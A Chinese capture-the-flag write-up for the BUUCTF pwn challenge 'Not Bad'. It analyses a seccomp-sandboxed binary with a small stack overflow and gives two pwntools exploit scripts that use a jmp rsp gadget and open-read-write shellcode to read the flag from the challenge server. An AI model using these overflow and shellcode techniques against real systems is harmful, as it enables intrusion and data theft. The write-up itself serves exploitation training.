导航菜单
首页 >  极客大挑战 2019Upload 1  > BUUCTF [极客大挑战 2019]Not Bad

BUUCTF [极客大挑战 2019]Not Bad

BUUCTF [极客大挑战 2019]Not Bad 精选 原创

wx631ad6b870f4e2022-09-09 15:53:58博主文章分类:CTF©著作权

文章标签16进制主函数javascript文章分类后端开发

©著作权归作者所有:来自51CTO博客作者wx631ad6b870f4e的原创作品,请联系作者获取转载授权,否则将追究法律责任

总的来说这是一个64位orw的题

 

开头先在主函数里分配了一个很大的空间

1 __int64 __fastcall main(int a1, char **a2, char **a3)2 {3mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);4sub_400949();5sub_400906();6sub_400A16();7return 0LL;81 __int64 sub_400949() 2 { 3__int64 v1; // [rsp+8h] [rbp-8h] 4 5v1 = seccomp_init(0LL); 6seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL); 7seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL); 8seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL); 9seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);10return seccomp_load(v1);11

这里开了沙盒看一下只给了open,read,write,exit很明显是一个orw的题

漏洞函数:

1 int sub_400A16()2 {3char buf[32]; // [rsp+0h] [rbp-20h] BYREF4 5puts("Easy shellcode, have fun!");6read(0, buf, 0x38uLL);7return puts("Baddd! Focu5 me! Baddd! Baddd!");8

 溢出字节较少可以考虑用栈迁移,但是看了其他师傅的wp后发现了一种新的解题方法,即利用 jmp rsp这条指令。我们把这条指令的地址放到返回地址上,接下来就可以利用汇编来控制 rsp的位置了。

大多数师傅都是用 shellcraft 来自动化构造的,但是我认为有手搓 shellcode 的能力也很重要。

附上用 shellcraft 构造的exp:

from pwn import *context.arch='amd64'context.log_level='debug'

s=remote('node4.buuoj.cn',26979)#s=process('./bad')

mmap=0x123000jmp_rsp=0x400a01

orw_payload = shellcraft.open("./flag")orw_payload += shellcraft.read(3, mmap+0x100, 0x50)orw_payload += shellcraft.write(1, mmap+0x100,0x50)

payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')payload=payload.ljust(0x28,b'\x00')payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')s.sendline(payload)

s.send(asm(orw_payload))

s.interactive()

手搓 shellcode 的exp:

1 from pwn import * 2 context.arch='amd64' 3 context.log_level='debug' 4 5 s=remote('node4.buuoj.cn',26979) 6 #s=process('./bad') 7 8 jmp_rsp=0x400a01 9 shellcode1='''10 xor rdi, rdi11 mov rsi, 0x12300012 mov rdx, 0x10013 mov rax, 014 syscall15 mov rax, 0x12300016 call rax17 '''18 19 shellcode2='''20 mov rdi, 0x67616c662f2e //这个是.\flag由于小端序存储的倒着写的 gafl\.的16进制表示。21 push rdi22 mov rdi, rsp23 mov rsi, 024 mov rdx, 025 mov rax, 226 syscall27 mov rdi, 328 mov rsi, rsp29 mov rdx, 0x10030 mov rax, 031 syscall32 mov rdi, 133 mov rsi, rsp34 mov edx, 0x10035 mov rax, 136 syscall37 '''38 payload=asm(shellcode1)39 payload=payload.ljust(0x28,b'\x00')40 payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')41 s.sendline(payload)42 43 s.send(asm(shellcode2))44 45

 

作者:{狒猩橙}

收藏评论分享举报

相关推荐: